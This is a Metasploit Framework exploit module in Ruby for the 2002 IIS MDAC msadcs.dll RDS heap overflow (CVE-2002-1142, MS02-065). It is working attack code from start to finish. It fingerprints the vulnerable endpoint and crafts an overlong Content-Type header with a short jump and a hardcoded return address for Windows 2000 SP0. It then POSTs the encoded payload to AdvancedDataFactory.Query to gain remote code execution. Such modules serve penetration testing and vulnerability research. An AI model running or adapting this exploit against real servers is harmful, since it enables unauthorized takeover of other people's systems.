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## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize super( 'Name'=> 'Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow', 'Description' => %q{ This module can be used to execute arbitrary code on IIS servers that expose the /msadc/msadcs.dll Microsoft Data Access Components (MDAC) Remote Data Service (RDS) DataFactory service. The service is exploitable even when RDS is configured to deny remote connections (handsafe.reg). The service is vulnerable to a heap overflow where the RDS DataStub 'Content-Type' string is overly long. Microsoft Data Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable. }, 'Author'=> 'patrick', 'Version' => '$Revision$', 'Platform'=> 'win', 'References'=> [ ['OSVDB', '14502'], ['BID', '6214'], ['CVE', '2002-1142'], ['MSB', 'ms02-065'], ['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html'] ], 'Privileged' => false, 'Payload'=> { 'Space'=> 1024, 'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&", 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully }, 'Targets' => [ # patrickw tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0 [ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 20 2002' ) register_options( [ OptString.new('PATH', [ true,"The path to msadcs.dll", '/msadc/msadcs.dll']), ], self.class) end def check res = send_request_raw({ 'uri'=>datastore['PATH'], 'method' => 'GET', }) if (res and res.code == 200) print_status("Server responded with HTTP #{res.code} OK") if (res.body =~ /Content-Type: application\/x-varg/) print_good("#{datastore['PATH']} matches fingerprint application\/x-varg") Exploit::CheckCode::Detected end else Exploit::CheckCode::Safe end end def exploit sploit = rand_text_alphanumeric(136) sploit[24,2] = Rex::Arch::X86.jmp_short(117) sploit << [target['Ret']].pack('V') sploit << payload.encoded data= 'Content-Type: ' + sploit res = send_request_raw({ 'uri'=> datastore['PATH'] + '/AdvancedDataFactory.Query', 'headers' => { 'Content-Length' => data.length, }, 'method' => 'POST', 'data' => data, }) handler end end |
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